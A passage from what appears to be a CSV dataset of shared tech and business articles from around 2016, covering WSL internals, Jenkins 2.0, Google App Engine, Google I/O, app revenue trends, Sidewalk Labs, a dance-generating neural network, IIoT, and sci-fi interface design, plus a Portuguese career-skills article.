se obrigar a questionar sempre para onde você está indo e como"", diz Silvana. De fato, um dos principais fatores que determinam o sucesso de uma empreitada é a clareza sobre por que se está fazendo aquilo. Mas, além disso, é preciso olhar para fora e notar como você está se comportando em relação ao meio em que atua. Isso significa prestar atenção ao que está acontecendo e identificar quais as demandas implícitas e explícitas das empresas e de seus colegas. Normalmente, o melhor sinal de que é preciso desenvolver uma competência é quando você percebe que não é (ou não foi) capaz de lidar tão bem quanto gostaria com uma situação. Expor-se a diferentes cenários - dentro ou fora do trabalho - facilita esse aprendizado. ""Saia da rotina de vez em quando para perceber coisas novas"", diz Paula Chimenti, professora do Coppead, escola de negócios da Universidade Federal do Rio de Janeiro. É a melhor forma de perceber o que você ainda precisa melhorar e o que já tem de bom. E ter essa percepção é o que ajuda na motivação. ""É difícil desenvolver algo se você não sentiu a necessidade"", diz. Por isso, é preciso ter um olhar constantemente voltado à melhoria e ao crescimento pessoal para dar conta de notar seus pontos fortes e fracos. O desenvolvimento de competências não é um processo isolado, mas combinado a diversos fatores: seus objetivos e personalidade, a necessidade dos outros e o meio em que você quer crescer. ""A relação entre competência e o contexto é inseparável"", diz Roberto Aylmer, professor da Fundação Dom Cabral, de Minas Gerais. O que vai diferenciar cada um são as atitudes, ou seja, as competências comportamentais. Já as competências técnicas são obtidas por meio de estudo e aprendizado contínuo. As de gestão são como você combina as anteriores de forma a ser um líder bem-sucedido. A seguir você encontra os cinco ingredientes relacionados com o comportamento que mais levaram as pessoas ao sucesso. ""Você não tem como controlar os problemas, mas pode melhorar a forma como reage a eles"", diz Adriana Prates, da Dasein. Ter autonomia em relação aos sentimentos para escolher como vai se comportar faz parte do equilíbrio emocional. Para chegar a esse ponto, é preciso ser capaz de entender suas próprias emoções - que não devem ser suprimidas ou ignoradas, mas geridas. Assistir a si mesmo no dia a dia e perceber como você se sente e quais tipos de situação trazem determinadas reações é uma forma de melhorar essa habilidade. Saber, por exemplo, que você tende a ficar alterado com um tipo de cenário pode ajudá-lo a resolver o que causa aquilo e a monitorar ocasiões futuras. A resposta pode ser desde encontrar válvulas de escape, como um hobby, até fazer terapia ou mudar o ponto de vista. Se for difícil perceber onde estão seus pontos frágeis, peça a opinião de pessoas em quem você confia. ""É como exercício físico, não dá para fazer um tempo e depois parar"", diz Adriana. ""Ser flexível é aceitar o desconhecido"", diz Silvana Mello, da Lee Hecht Harrison. Sair da zona de conforto é difícil, mas essencial para ter flexibilidade para encarar coisas novas e mudar de ideia. ""Tenha em mente que sempre podemos crescer mais, e que para isso precisamos conhecer o novo"", afirma. Fora do trabalho, vale desenvolver essa característica sempre que possível, se colocando em situações diferentes. A experiência diversificada, aliás, o ajudará a perceber quando você deve ser mais firme e quando deve mudar de ideia. Ser humilde em relação ao quanto você mesmo sabe sobre as coisas é importante. ""Hoje as pessoas estão muito mimadas e pouco flexíveis"", diz Adriana. ""Essa é com certeza uma competência que fará toda diferença nas empresas."" Mostre essa habilidade tendo abertura a opiniões diferentes das suas e mantendo o debate focado em ideias, e não em pessoas. O objetivo deve ser conseguir o melhor para todos - e não ter razão sempre. 3. Comprometimento e Execução Dificilmente uma pessoa que deixa tarefas para a última hora e não consegue pensar nos resultados chegará ao topo. Mas, muitas vezes, é difícil manter um desempenho consistente, porque isso exige clareza sobre seus objetivos. ""Quando você vê no trabalho um meio para atingir um fim, é mais fácil encontrar o comprometimento"", diz Adriana. Se você não cumpre seus prazos com a eficiência e rapidez que deveria, reavalie o que o impede de se envolver com aquela tarefa. Aplique o mesmo comprometimento na vida pessoal: não se atrase para encontros e cumpra sua palavra. Como qualquer hábito, o senso de urgência funciona melhor quando entra na rotina. 4. Etiqueta pessoal e profissional ""Etiqueta é saber reduzir a dissonância, a diferença entre você e o ambiente"", diz Roberto Aylmer, da Fundação Dom Cabral. ""Quando a pessoa lê o ambiente e adota uma postura e linguagem compatíveis, pode ter uma grande força de integração."" É verdade que as primeiras impressões também têm a ver com a forma como nos portamos. Uma pessoa mais gentil passará uma impressão de maior credibilidade, ao mesmo tempo em que uma pessoa supercompetente mas pouco respeitosa causará uma péssima impressão. O jeito é prestar atenção em quem é admirado, estudar regras de etiqueta e, na dúvida, perguntar aos outros sobre qual a maneira apropriada de se vestir e de se comportar em certos ambientes. 5. Relacionamento e Network Saber trabalhar com os outros para um objetivo em comum é requisito básico, não importa a sua posição. Se você não faz ideia de como o que você fala pode ser recebido pelos outros, é mau sinal. ""É necessário entender o impacto que causa nas pessoas e não querer sempre que seu desejo prevaleça"", afirma Márcia Portazio, coordenadora do ESPM Carreiras, de São Paulo. E quem tem boa capacidade de relacionamento não faz discriminação e trata do mesmo modo o estagiário e o presidente - com atenção e respeito. Se você não está convencido sobre isso, pense também que as posições hoje podem rapidamente se inverter. O network precisa ser pensado a partir do que você oferecerá para o outro, e não só do que o outro pode trazer a você. Esta matéria faz parte da reportagem ""20 competências essenciais para você ser um bom líder"" Você S/A | Edição 212 | Março de 2016",pt
1461700852,CONTENT SHARED,-8734181034726403477,7392990465409599343,1162110890105301178,,,,HTML,https://blogs.msdn.microsoft.com/wsl/2016/04/22/windows-subsystem-for-linux-overview/,Windows Subsystem for Linux Overview,"We recently announced Bash on Ubuntu on Windows which enables native Linux ELF64 binaries to run on Windows via the Windows Subsystem for Linux (WSL). This subsystem was created by the Microsoft Windows Kernel team and has generated a lot of excitement. One of the most frequent question we get asked is how is this approach different from a traditional virtual machine. In this first of a series of blog posts, we will provide an overview of WSL that will answer that and other common questions. In future posts we will dive deep into the component areas introduced. Posted on behalf of Deepu Thomas. History of Windows Subsystems Since its inception, Microsoft Windows NT was designed to allow environment subsystems like Win32 to present a programmatic interface to applications without being tied to implementation details inside the kernel. This allowed the NT kernel to support POSIX, OS/2 and Win32 subsystems at its initial release. Early subsystems were implemented as user mode modules that issued appropriate NT system calls based on the API they presented to applications for that subsystem. All applications were PE/COFF executables, a set of libraries and services to implement the subsystem API and NTDLL to perform the NT system call. When a user mode application got launched the loader invoked the right subsystem to satisfy the application dependencies based on the executable header. Later versions of subsystems replaced the POSIX layer to provide the Subsystem for Unix-based Applications (SUA). This composed of user mode components to satisfy: Process and signal management Terminal management System service requests and inter process communication The primary role of SUA was to encourage applications to get ported to Windows without significant rewrites. This was achieved by implementing the POSIX user mode APIs using NT constructs. Given that these components were constructed in user mode, it was difficult to have semantic and performance parity for kernel mode system calls like fork(). Because this model relied on the need for programs to be recompiled it required ongoing feature porting and was a maintenance burden. Over time these initial subsystems were retired. However, since the Windows NT Kernel was architected to allow new subsystem environments, we were able to use the initial investments made in this area and broaden them to develop the Windows Subsystem for Linux. Windows Subsystem for Linux WSL is a collection of components that enables native Linux ELF64 binaries to run on Windows. It contains both user mode and kernel mode components. It is primarily comprised of: User mode session manager service that handles the Linux instance life cycle Pico provider drivers (lxss.sys, lxcore.sys) that emulate a Linux kernel by translating Linux syscalls Pico processes that host the unmodified user mode Linux (e.g. /bin/bash) It is the space between the user mode Linux binaries and the Windows kernel components where the magic happens. By placing unmodified Linux binaries in Pico processes we enable Linux system calls to be directed into the Windows kernel. The lxss.sys and lxcore.sys drivers translate the Linux system calls into NT APIs and emulate the Linux kernel. Figure 1: WSL Components LXSS Manager Service The LXSS Manager Service is a broker to the Linux subsystem driver and is the way Bash.exe invokes Linux binaries. The service is also used for synchronization around install and uninstall, allowing only one process to do those operations at a time and blocking Linux binaries from being launched while the operation is pending. All Linux processes launched by a particular user go into a Linux instance. That instance is a data structure that keeps track of all LX processes, threads, and runtime state. The first time an NT process requests launching a Linux binary an instance is created. Once the last NT client closes, the Linux instance is terminated. This includes any processes that were launched inside of the instance including daemons (e.g. the git credential cache). Pico Process As part of Project DrawBridge , the Windows kernel introduced the concept of Pico processes and Pico drivers. Pico processes are OS processes without the trappings of OS services associated with subystems like a Win32 Process Environment Block (PEB). Furthermore, for a Pico process, system calls and user mode exceptions are dispatched to a paired driver. Pico processes and drivers provide the foundation for the Windows Subsystem for Linux. The subsystem is able to run native unmodified Linux code by loading a binary executable into the process's address space and emulating the underlying Linux kernel. System Calls WSL executes unmodified Linux ELF64 binaries by virtualizing a Linux kernel interface on top of the Windows NT kernel. One of the kernel interfaces that it exposes are system calls (syscalls). A syscall is a service provided by the kernel that can be called from user mode. Both the Linux kernel and Windows NT kernel expose several hundred syscalls to user mode, but they have different semantics and are generally not directly compatible. For example, the Linux kernel includes things like fork, open, and kill while the Windows NT kernel has the comparable NtCreateProcess, NtOpenFile, and NtTerminateProcess. The Windows Subsystem for Linux includes kernel mode drivers (lxss.sys and lxcore.sys) that are responsible for handling Linux system call requests in coordination with the Windows NT kernel. The drivers do not contain code from the Linux kernel but are instead a clean room implementation of Linux-compatible kernel interfaces. On native Linux, when a syscall is made from a user mode executable it is handled by the Linux kernel. On WSL, when a syscall is made from the same executable the Windows NT kernel forwards the request to lxcore.sys. Where possible, lxcore.sys translates the Linux syscall to the equivalent Windows NT call which in turn does the heavy lifting. Where there is no reasonable mapping the Windows kernel mode driver must service the request directly. As an example, the Linux fork() syscall has no direct equivalent call documented for Windows. When a fork system call is made to the Windows Subsystem for Linux, lxcore.sys does some of the initial work to prepare for copying the process. It then calls internal Windows NT kernel APIs to create the process with the correct semantics, and completes copying additional data for the new process. File system File system support in WSL was designed to meet two goals. Provide an environment that supports the full fidelity of Linux file systems Allow interoperability with drives and files in Windows The Windows Subsystem for Linux provides virtual file system support similar to the real Linux kernel. Two file systems are used to provide access to files on the users system: VolFs and DriveFs. VolFs VolFs is a file system that provides full support for Linux file system features, including: Linux permissions that can be modified through operations such as chmod and chroot Symbolic links to other files File names with characters that are not normally legal in Windows file names Case sensitivity Directories containing the Linux system, application files (/etc, /bin, /usr, etc.), and users Linux home folder, all use VolFs. Interoperability between Windows applications and files in VolFs is not supported. DriveFs DriveFs is the file system used for interoperability with Windows. It requires all files names to be legal Windows file names, uses Windows security, and does not support all the features of Linux file systems. Files are case sensitive and users cannot create files whose names differ only by case. All fixed Windows volumes are mounted under /mnt/c, /mnt/d, etc., using DriveFs. This is where users can access all Windows files. This allows users to edit files with their favorite Windows editors such as Visual Studio Code, and manipulate them with open source tools in Bash using WSL at the same time. In future blog posts we will provide additional information on the inner workings of these component areas. The next post will cover more details on the Pico Process which is a foundational building block of WSL. Deepu Thomas and Seth Juarez discuss the underlying architecture that enables the Windows Subsystem for Linux.",en
1461702647,CONTENT SHARED,-23817016428727099,-8020832670974472349,9198136281906353434,,,,HTML,https://news.ycombinator.com/item?id=11569726,Being a Developer After 40,"this is exactly my experience. writing software really doesn't require any great creative mind or cleverness. i'm a pretty mediocre programmer. i got roped into programming as a kid by, first of all because i wanted to make video games, but then once i'd dipped my toe in i found learning new, exotic (seeming) ideas and making clever solutions to problems was a lot of fun in and of itself.",en
1461702759,CONTENT SHARED,-4875060556471576861,7392990465409599343,1162110890105301178,,,,HTML,https://jenkins.io/blog/2016/04/26/jenkins-20-is-here/,Jenkins 2.0 is here!,"Published on 2016-04-26 by kohsuke Over the past 10 years, Jenkins has really grown to a de-facto standard tool that millions of people use to handle automation in software development and beyond. It is quite remarkable for a project that originally started as a hobby project under a different name. I'm very proud. Around this time last year, we've celebrated 10 years, 1000 plugins, and 100K installations. That was a good time to retrospect, and we started thinking about the next 10 years of Jenkins and what's necessary to meet that challenge. This project has long been on a weekly ""train"" release model, so it was useful to step back and think about a big picture. That is where three pillars of Jenkins 2.0 have emerged from. First, one of the challenges our users are facing today is that the automation that happens between a commit and a production has significantly grown in its scope. Because of this, the clothing that used to fit (aka ""freestyle project"", which was the workhorse of Jenkins) no longer fits. We now need something that better fits today's use cases like ""continuous delivery pipeline."" This is why in 2.0 we've added the pipeline capability . This 2 year old effort allows you to describe your chain of automation in a textual form. This allows you to version control it, put it alongside your source tree, etc. It is also actually a domain specific language (DSL) of Groovy , so when your pipeline grows in complexity/sophistication, you can manage its complexity and keep it understandable far easily. Second, over time, Jenkins has developed the ""assembly required before initial use"" feeling. As the project has grown, the frontier of interesting development has shifted to plugins, which is how it should be, but we have left it up to users to discover & use them. As a result, the default installation became very thin and minimal, and every user has to find several plugins before Jenkins becomes really functional. This created a paradox of choice and unnecessarily hurt the user experience. In 2.0, we reset this thinking and tries to create more sensible out of the box experience that solves 80% use cases for 80% of people. You get something useful out of the box, and you can get some considerable mileage out of it before you start feeling the need of plugins. This allows us to focus our development & QA effort around this base functionality, too. By the way, the focus on the out of the box experience doesn't stop at functionality, either. The initial security setup of Jenkins is improved, too, to prevent unprotected Jenkins instances from getting abused by botnets and attacks. Third, we were fortunate to have a number of developers with UX background spend some quality time on Jenkins, and they have made a big dent in improving various parts of Jenkins web UI. The setup wizard that implements the out of the box experience improvement is one of them, and it also includes other parts of Jenkins that you use all the time, such as job configuration pages and new item pages. This brings much needed attention to the web UI. As you can see, 2.0 brings a lot of exciting features on the table, but this is an evolutionary release, built on top of the same foundation, so that your existing installations can upgrade smoothly. After this initial release, we'll get back to our usual weekly release march, and more improvements will be made to those pillars and others in coming months and years continuously. If you'd like to get more in-depth look at Jenkins 2.0, please join us in our virtual Jenkins meetup 2.0 launch event . Thank you very much for everyone who made Jenkins 2.0 possible. There are too many of you to thank individually, but you know who you are. I wanted to thank CloudBees in particular for sponsoring the time of many of those people. 10 years ago, all I could utilize was my own night & weekend time. Now I've got a team of smart people working with me to carry this torch forward, and a big effort like 2.0 wouldn't have been possible without such organized effort.",en
1461708262,CONTENT SHARED,4118743389464105405,-1032019229384696495,-940735523977516255,,,,HTML,https://cloudplatform.googleblog.com/2016/04/why-Google-App-Engine-rocks-a-Google-engineers-take.html,Why Google App Engine rocks: A Google engineer's take,"In December 2011, I had been working for Google for nine years and was leading a team of 10 software developers, supporting the AdSense business. Our portfolio consisted of over 30 software systems, mostly web apps for business intelligence that had been built over the past decade, each on a stack that seemed like a good idea at the time. Some were state-of-the-art custom servers built on the (then) latest Google web server libraries and running directly on Borg. Some were a LAMP stack on a managed hosting service. Some were running as a cron job on someone's workstation. Some were weird monsters, like a LAMP stack running on Borg with Apache customized to work with production load balancers and encryption. Things were breaking in new and wonderful ways every day. It was all we could do to keep the systems running - just barely. The team was stressed out. The Product Managers and engineers were frustrated. A typical conversation went like this: PM : ""You thought it would be easy to add the foobar feature, but it's been four days!"" Eng : ""I know, I know, but I had to upgrade the package manager version first, and then migrate off some deprecated APIs. I'm almost done with that stuff. I'm eager to start on the foobar, too."" PM : ""Well, now, that's disappointing."" I surveyed the team to find the root cause of our inefficiency: we were spending 60% of our time on maintenance. I asked how much time would be appropriate, and the answer was a grudging 25%. We made a goal to reduce our maintenance to that point, which would free up the time equivalent of three and a half of our 10 developers. Google App Engine had just come out of preview in September 2011. A friend recommended it heartily - he'd been using it for a personal site - and he raved that it was low-maintenance, auto-scaling and had built-in features like Google Cloud Datastore and user-management. Another friend, Alex Martelli, was using it for several personal projects. I myself had used it for a charity website since 2010. We decided to use it for all of our web serving. It was the team's first step into PaaS. Around the same time, we started using Dremel, Google's internal version of BigQuery . It was incredibly fast compared to MapReduce, and it scaled almost as well. We decided to re-write all of our data processing to use it, even though there were still a few functional gaps between it and App Engine at the time, for example visualization and data pipelines. We whipped up solutions that are still in use by hundreds of projects at Google. Now Google Cloud Platform users can access similar functionality using Google Cloud Datalab . What we saw next was an amazing transformation in the way that software developers worked. Yes, we had to re-write 30 systems, but they needed to be re-written anyway. WIth that finished, developing on the cloud was so much faster -- I recall being astonished at seeing the App Engine logs, that I had done 100 code, test, and deploy cycles in a single coding session. Once things were working, they kept working for a long time. We stopped debating what stack to choose for the next project. We just grabbed the most obvious one from Google Cloud Platform and started building. If we found a bug in the cloud infrastructure, it was promptly fixed by an expert. What a change from spending hours troubleshooting library compatibility! Best of all, we quickly got the time we spent on maintenance down to 25%, and it kept going down. At the end of two years I repeated the survey; the team reported that they now only spent 5% of their time on maintenance. We started having good and different problems. The business wasn't generating ideas fast enough to keep us busy, and we had no backlog. We started to take two weeks at the end of every quarter for a ""hackathon"" to see what we could dream up. We transferred half of the developers to another, busier team outside of Cloud. We tackled larger projects and started out-pacing much larger development teams. After seeing how using PaaS changed things for my team, I want everyone to experience it. Thankfully, these technologies are available not only to Google engineers, but to developers the world over. This is the most transformational technology I've seen since I first visited Google Search in 1999 - it lets developers stop doing dumb things and get on with developing the applications that add value to our lives.",en
1461715957,CONTENT SHARED,-8618420761918493321,-1032019229384696495,-2767767474126851917,,,,HTML,http://www.greenbot.com/article/3060757/android/what-the-google-i-o-schedule-tells-us-about-the-future-of-android.html,What the Google I/O schedule tells us about the future of Android,"Google I/O may be a conference for developers, but what happens there will have a major impact on how you interact with Android and Google's other services in the near future. The conference covers all of Google's projects, but Android is definitely the star of this year's show, which will be held in Mountain View from May 18 to 20. Some of the focus will be on better app performance and design, which is always in demand. Google will also have plenty to say about how Android will usher in a future of virtual reality and connectedness across your phone, car, television, and other devices that may not even be here yet. After studying the schedule , there are four key themes that emerge, each illustrating how Android will move forward in the next year and what it will mean for putting your digital life in Google's hands. Virtual Reality is big Google has big ambitions in virtual reality. Cardboard is just the start, as there have been rumors of the company building its own VR headset and indications from Android N about how the operating system will give more native support to VR . So set your eyes on the VR at Google session on May 19, which is hosted by Clay Bavor, Google's vice president of virtual reality (who also has a fascinating photography blog ). Right now Facebook-owned Oculus is leading the VR game and Google's frenemy Samsung makes the most popular consumer device in the Gear VR. So expect Google to invest heavily to ensure the company's services are where the Internet is going. YouTube, as an example, recently added support for VR and 360-degree video. And the outdoor venue for Google I/O may not be a coincidence; it could be a showcase for all Google plans to do with digitizing the outside world. YouTube YouTube now supports videos shot specifically for VR. We have more tangible evidence of the company's plans for augmented reality with Project Tango . Two sessions are devoted to the technology, which empowers phones and tablets to see and sense the environment around them: one focused on gaming with Project Tango and another titled, "" Introducing Project Tango Area Learning ."" Lenovo announced at CES that it would have a first phone with Project Tango technology by the end of this summer, so perhaps we'll get to see a near-final version of this. Either way, Project Tango is inching out of the lab and into actual consumer products soon. And let's not forget about Android Auto. There's a session titled "" Android Auto for everyone ,"" which is all about helping developers extend their apps to the car dashboard. Android Auto has been gaining steam this year with expansions into new vehicles, which makes it a key piece of Google's strategy to have Android and Google's contextual information follow you wherever you are. Going global Another session that caught my eye was, "" Building for billions on Android ."" Led by a team of Android developer advocates, it's likely to include strategies for making apps work across the wide swath of Android hardware. Google Android One is part of Google's effort to make Android the OS of choice in the developing world. Google's OS is growing strongest in what's called emerging markets, places like India, China, and South American nations where many people are just now getting their first smartphone. Usually such phones are lower cost than a flagship sold in the U.S., and they're powered by Android. That's why Google sought to get directly involved with phone sales with Android One , though the program has had a mixed record. In order for Google to keep people hooked into Android, the ecosystem needs good apps that will work well on devices that have lower computing power and Internet speed access. It's the reality for developers who want to build on the platform, and it'll be interesting to see what solutions Google offers. Material Improvements Material Design is nearing its second birthday, as Google first announced the design language and guidelines at the 2014 I/O conference. However, even now some apps still haven't fully embraced the look, which is probably due in part to how many mobile app developers put their initial emphasis on iOS. It also doesn't help that, as a recent App Annie report revealed, the App Store earns almost double the revenue as does Google Play despite half the number of app downloads. The Plaid app is all material, all the time. Day one has two different sessions focused on design issues: "" Material improvements "" and "" Discover the expanded material design motion guidelines ."" The former is to highlight all the tweaks to Material Design during the past couple of years, while the latter will give developers details on how the language has evolved. Nick Butcher, a design and developer advocate at Google, will lead the first session. He's one of the major evangelists for Material Design, which is highlighted notably in his Android app Plaid . These sessions should also serve as a reminder that Material Design is an evolving design language, not a static textbook. Speeding up Android apps No one likes a slow app. Google doesn't either, and there are multiple sessions geared towards strategies for faster performance and less memory usage. For example, a workshop entitled "" Android battery and memory optimizations "" is led by two Googlers who should offer good insight into this area: Ashish Sharma heads Android's Volta Team that focuses on lengthening battery life. Meghan Desai works on Android framework battery and memory management features for Google. The less battery Android apps use, the longer your phone will last. Then there's "" Lean and fast: putting your app on a diet ."" The goal is to reduce the size of an app's APK, which will certainly be welcome in an era where many phones don't offer expandable storage. Hopefully there will be some game developers in this session, as they tend to be some of the heftiest apps around. There's going to be a lot to devour during the conference's three days, and the entire Greenbot team will be there for all the action. Be sure to check our live coverage of the keynote on the morning of May 18 and follow along as we provide analysis of all the major reveals.",en
1461726189,CONTENT SHARED,-4698104907897418459,8968131284214320024,-118776414195423125,,,,HTML,https://www.techinasia.com/china-is-number-two-for-apple,"China leaps ahead of Japan, is second in global iOS app revenue","China just beat Japan to take second position for global revenue from iPhone and iPad apps, a new report says. The US is still the king of iOS app revenue generation in Q1 2016, according to App Annie (PDF link). However, China's snapping at its heels, with a 2.2 times growth year-on-year that made it move up a notch since January . In terms of the sheer number of app downloads, China took the top spot last year , overtaking the US. That's thanks to China's huge number of smartphone owners as well as Apple's big screen iPhone 6 and 6 Plus, say the App Annie analysts. But as any startup will tell you, getting people to download apps and making money off them are two different things. In the first quarter of 2016, despite China getting close to ""peak smartphone,"" the rate of revenue growth accelerated year over year - up from 2 times growth in Q1 2015. But all of that is still not enough to match in-app spending in the United States, which maintains a 30 percent lead on China for total iOS App Store revenue. This is because more users are willing to pay for app services like Netflix and Spotify as well as making other in-app purchases. Android trends App Annie expects worldwide app store downloads across all OSes to grow 33 percent to 147.3 billion in 2016, driven largely by smartphone adoption in emerging markets. In the first quarter, Vietnam experienced the fastest year-over-year percentage growth (1.7 times) in Android app downloads from Google Play from Q1 2015. It also ranked second in market share growth, the report said. Games contributed to half of the growth of Google Play downloads in the country. Argentina and Egypt followed, with 1.4 times growth each. However, India led global trends on overall year-on-year market share growth for Google Play, outstripping Vietnam. About Nivedita I like good apps, tech, books and food, not necessarily in that order. Enabler of good ideas, chaser of good stories. Associate Ed, TIA India. Tips and chats @tweetsfromnivi or nivedita@techinasia.com",en
1461726515,CONTENT SHARED,1314740759271289025,-1032019229384696495,-2767767474126851917,,,,HTML,http://www.theverge.com/2016/4/26/11512256/google-sidewalk-lab-smart-city-dan-doctoroff-larry-page,Larry Page's dream of building a 'Google Island' could be coming true,"Top executives from Google are reportedly weighing a pitch from its ""smart city"" spin-off Sidewalk Labs about taking over a section of a preexisting city and rebuilding it with a particular focus on technology, efficient infrastructure, and self-driving cars. According to The Wall Street Journal , Sidewalk Labs CEO Dan Doctoroff has been scrambling in recent months to put together a proposal to purchase a large swath of a city (potentially one that is struggling economically) to be rebuilt to house tens of thousands of residents. In essence, Sidewalk Labs -€"" and by extension Google - would become the landlord to people residing within this refurbished, tech-rich mini-city. Google as landlord? Doctoroff, a former New York City deputy mayor and chief executive at Bloomberg LP, first dropped hints about his desire to build a new city from scratch at an event hosted by The Information last February. Developing a city ""would be a great idea,"" he said, while noting ""I can't tell you anything."" Weeks later, the idea had grown into an official pitch, codenamed ""Project Sidewalk,"" that Doctoroff planned on presenting to Alphabet CEO Larry Page . If approved, Alphabet and Sidewalk Labs could begin soliciting bids from municipalities later this year. So what would a city designed by Google look like? It would likely include features such as LinkNYC, the public Wi-Fi hubs that are currently being installed around New York City. Dedicated lanes for self-driving cars also seem like a pretty sure bet. In March, Sidewalk Labs rolled out a new product called Flow which it described as a ""transportation platform"" that uses aggregated, anonymous traffic data to help city managers identify bottlenecks or redirect trains and buses to transit-starved neighborhoods, as well as drivers get real-time parking information during their commutes. Google originally created Sidewalk Labs with the purpose of reimagining city living through technology, with the idea that New York City would serve as the company's lab. But there are obvious limitations -€"" political, financial, regulatory -€"" to that concept, which would explain why Google is now interested in looking beyond the Big Apple to test out its ideas. This could actually be the realization of a long-held dream by Page, who as far back as 2013 mused about ""set[ting] aside a part of the world"" for experimentation. That off-hand comment at Google's I/O conference spurred a fanciful take in Wired about what a ""Google Island"" may look like.",en
1461747241,CONTENT SHARED,9222265156747237864,-1443636648652872475,-8312512943967547407,,,,HTML,http://www.extremetech.com/extreme/227287-deep-learning-neural-network-creates-its-own-interpretive-dance,Deep-learning neural network creates its own interpretive dance | ExtremeTech,"Way back in 2005, when Will Wright unveiled Spore to an astonished crowd at GDC, there was one particular part of the demo that seemed to generate buzz: procedural dance. Spore uses player input to generate everything from a creature's walk animation to its mode of social interaction, but it was the ability to take a novel body shape and make it dance that seemed to excite people's imaginations the most . Yet Spore took the easy road: None of the creatures look like human beings, which means we have no idea what they're supposed to dance like. Spore basically just defined dancing as rhythmic movement, sometimes around a fire; that's not a bad definition by any means, but it's also nowhere near good enough to generate lifelike human dance. Now, with the introduction of advanced machine learning techniques, computers are starting to do the real thing: learn and generate dance moves for a human skeleton that look realistic and genuinely dance-like to the average human observer. The neural network software lab Peltarion has teamed up with the Lulu Art Group to create the catchily-named "" Chor-rnn ,"" a self-taught, dancing human skeleton. Here's the final animation, after 48-hours of learning: Those two days were spent learning from motion-captured interpretive dance performed by human beings in from of depth-sensing Kinect cameras. The 5-hour collection (""corpus"") of dance data fed to the neural network determined the overall choreographic style of the motions, but the motions themselves are a new form of the same thing. This has two major implications. One, it allows users to get truly unique generated content, distinct to every artist and the corpus of dance moves they show to the computer; two, it means that the computer made its new dance in roughly the same way a new human student might, by imitating a role model and introducing slight changes to be either reinforced or forgotten. Below, you'll see the state of the animation before any real training had been done: it's a big bundle of lines. However, we can see below that after about six hours of training, we can see that the network has learned the sorts of movements and joint rotations that have the ability to give rise to the movements in the corpus - in other words, the bundle of lines is not a person made of lines. A big improvement! The study's authors want their work to be a ""creativity catalyst"" for artists, allowing them to have their own work parroted back to them by a non-biased observer. They envision a future in which artists might be inspired by a computer's take on their own work, creating new computer-inspired art and feeding that back to the computer for more auto-innovation, and perhaps another round of the cycle. That's achievable, since rather than a Google-level supercomputer this team crunched their motion capture data with four of Nvidia's Titan X consumer graphics cards. That means it's within the means of most groups. Just in general, though, the ability of a computer to even seem to generate true art is a huge conceptual barrier. Linguistic arts contain so much specific, nested meaning that arts like poetry will likely remain locked off to computers for some time. But visual art is often more abstract, allowing more blind, computer-style experimentation to result in aesthetically pleasing results. Quite frankly, a possible outcome of auto-generating slightly innovative art like this may not be to kill the human creation of art, but to kill the human creation of boring art. Once neural networks have removed all need for humans to do obvious, purely iterative progression on past work, perhaps all we'll have left is true inspiration and genius. That sounds great - but it could also reveal the depressingly low proportion of people who are truly capable of that level of creativity. Now read: Artificial neural networks are changing the world. What are they ?",en
1461755810,CONTENT SHARED,8736111317960965711,4670267857749552625,-7974771986333741367,,,,HTML,http://readwrite.com/2016/04/08/iiot-strengthens-investment-outlook-morgan-stanley-if4/,Will IIoT bolster industrial automation investments? - ReadWrite,"The Industrial Internet of Things (IIoT) is proving to be a game-changer in many fields, none more structurally than in the automation industry. And a recent study by Morgan Stanley reinforces bullish sentiment for future automation investment thanks to the huge potential of IIoT . A new report co-authored by Automation World and Morgan Stanley predicts IIoT will be a significant driver of industry growth in the coming years. Over the next five years it expects IIoT-related spending will grow from around 8% to 18%. This growth underscored Morgan Stanley's bullish outlook for automation investment in North America. ""We believe recent macro volatility has not significantly altered a bullish medium-and longer-term outlook for automation investment,"" said the report. ""Over the medium term, the majority of suppliers we interviewed also continue to expect the automation industry to grow at a faster pace than global GDP,"" Morgan Stanley said. ""By geography, North America stood out as a top priority in our survey respondents' medium-term investment plans."" ""Discrete automation is expected to see the greatest [IIoT-related] growth opportunities given faster upgrade/replacement cycles and lower penetration of software compared to the process industries,"" the report said. Traditional strategies most at risk from industrial automation Traditional industrial manufacturing strategies will likely see major disruption due to the impact of cloud-based analytics and the entry of new non-traditional software and IT players. ""While automation players do compete effectively with the likes of Oracle and SAP in manufacturing execution system and asset management software, the increasing adoption of cloud-based data analytics opens up the potential for non-traditional IT and software competitors to enter the frame, such as GE's Predix platform,"" said Morgan Stanley. The report also predicts that the traditional IT suppliers will see disruption in the centrality of programmable logic controllers (PLC) used to run machinery on factory assembly lines ""Our survey also highlights the risk that the high-margin PLC could become a less central component of the automation system longer term,"" the report says. The report highlighted Siemens, Schneider Electric and Rockwell Automation as companies leading the push into new automation territory through new technologies like IIoT.",en
1461757030,CONTENT SHARED,8808216970065110104,-2979881261169775358,4074620004958271570,,,,HTML,http://99percentinvisible.org/episode/future-screens-are-mostly-blue/,Future Screens are Mostly Blue - 99% Invisible,"We have seen the future, and the future is mostly blue. Or, put another way: in our representations of the future in science fiction movies, blue seems to be the dominant color of our interfaces with technology yet to come. And that is one of the many design lessons we can learn from sci-fi. Designers and sci-fi aficionados Chris Noessel and Nathan Shedroff have spent years compiling real-world lessons that designers can, should, and already do take from science fiction. Their book, Make It So: Interaction Design Lessons From Science Fiction is a comprehensive compendium of their findings. To give you a sense of how exhaustive their research is in this field, take note that the lesson above-future screens are mostly blue-was determined empirically. Shedroff and Noessel catalogued virtually every interface from every sci-fi movie from 1968 through 2011 and determined an average color per year. So why is blue the chosen color? Noessel posits that, because blue is so rare in nature (if you discount the sky and the ocean, which are arguably not blue ) there's something fundamentally mystical, unnatural, and inhuman about it. Whether or not screens in the future will, in fact, be blue, is beside the point. Make It So is about applying the ways we conceive of the future to the design of our present moment. After all, if sci-fi is about letting our imaginations run wild and create imagined worlds, then there are plenty of design lessons from looking at the experience of the characters moving through those worlds. Even if your sci-fi world is 1000 years in the future, those choices are in constant dialogue with the present. Even the first sci-fi film is a sign of its times. In Georges Méliès Le Voyage dans la lune (A Trip to the Moon, 1902), there are hardly any interfaces! Hence, Science fiction can help us understand what we want in the present. And, when components of science fiction saturate the public imagination, it can affect how we design things. Consider the MicroTAC, one of Motorola's first cell phones. It did not sell well. The MicroTAC had a mouthpiece that flipped down. When the Motorola designers took this phone to Argonne National Laboratory for their advice, the Argonne engineers said they had make the phone the wrong way-it ought to open upwards, not downwards. Like on Star Trek . Motorola's subsequent generation opened upwards. It was wildly successful. It was called the StarTAC. Star Trek also may have helped create the entire image-under-glass paradigm that governs our digital world. The interface, known as LCARS , is cool-looking. It's distinctive. And it's actually the result of a budget shortfall. Star Trek: The Next Generation didn't have as much money for set design as did theoriginal series, which had panels 